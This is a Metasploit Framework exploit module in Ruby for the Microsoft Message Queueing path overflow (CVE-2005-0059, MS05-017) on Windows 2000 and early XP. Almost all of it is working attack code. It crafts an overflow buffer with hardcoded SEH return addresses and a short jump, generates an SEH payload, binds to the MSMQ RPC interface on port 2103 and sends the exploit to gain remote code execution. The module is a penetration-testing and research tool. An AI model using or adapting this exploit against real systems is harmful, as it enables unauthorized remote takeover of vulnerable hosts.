##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Message Queueing Service Path Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the RPC interface
				to the Microsoft Message Queueing service. The offset to the
				return address changes based on the length of the system
				hostname, so this must be provided via the 'HNAME' option.
				Much thanks to snort.org and Jean-Baptiste Marchand's
				excellent MSRPC website.

			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2005-0059'],
					[ 'OSVDB', '15458'],
					[ 'MSB', 'MS05-017'],
					[ 'BID', '13112'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
					'StackAdjustment' => -3500,

				},
			'Targets'        =>
				[
					[
						'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
						},
					],
				],
			'DisclosureDate' => 'Apr 12 2005',
			'DefaultTarget' => 0))

		# Change the default port values to point at MSMQ
		register_options(
			[
				Opt::RPORT(2103),
				OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),
			], self.class)
	end

	def autofilter
		# Common vulnerability scanning tools report port 445/139
		# due to how they test for the vulnerability. Remap this
		# back to 2103 for automated exploitation

		rport = datastore['RPORT'].to_i
		if ( rport == 445 or rport == 139 )
			datastore['RPORT'] = 2103
		end

		# The NetBIOS hostname is required to exploit this bug reliably.
		if (not datastore['HNAME'])
			# XXX automatically determine the hostname
			return false
		end

		true
	end

	def exploit

		# MSMQ supports three forms of queue names, the two we can use are
		# the IP address and the hostname. If we use the IP address via the
		# TCP: format, the offset to the SEH frame will change depending on
		# the length of the real hostname. For this reason, we force the user
		# to supply us with the actual hostname.

		# Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

		queue_name = "OS:#{datastore['HNAME']}";
		queue_hlen = datastore['HNAME'].length * 2
		queue_path = unicode(queue_name + "\\PRIVATE$\\")

		buf   = rand_text_english(4000, payload_badchars)

		# Windows 2000 SEH offset goes first
		buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
		buf[372 - queue_hlen - 4, 2] = "\xeb\x22"

		# Windows XP SEH offset goes second
		seh = generate_seh_payload(target['Rets'][1])
		buf[400 - queue_hlen - 4, seh.length] = seh

		# Append the path to the location and null terminate it
		queue_path << buf << "\x00\x00"

		# Get the unicode length of this string
		queue_plen = queue_path.length / 2

		connect
		print_status("Trying target #{target.name}...")

		handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		stubdata =
			NDR.long(1) +
			NDR.long(1) +
			NDR.long(1) +
			NDR.long(3) +
			NDR.long(3) +
			NDR.long(2) +
			NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)

		print_status('Sending exploit ...')

		response = dcerpc.call(9, stubdata)

		if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
			case dcerpc.last_response.stub_data
				when "\x20\x00\x0e\xc0"
					print_status("The server rejected our request, the HNAME parameter could be incorrect")
				when "\x1e\x00\x0e\xc0"
					print_status("The server does not appear to be exploitable")
				else
					print_status("An unknown response was received from the server:")
					print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
			end
		end

		handler
		disconnect
	end

end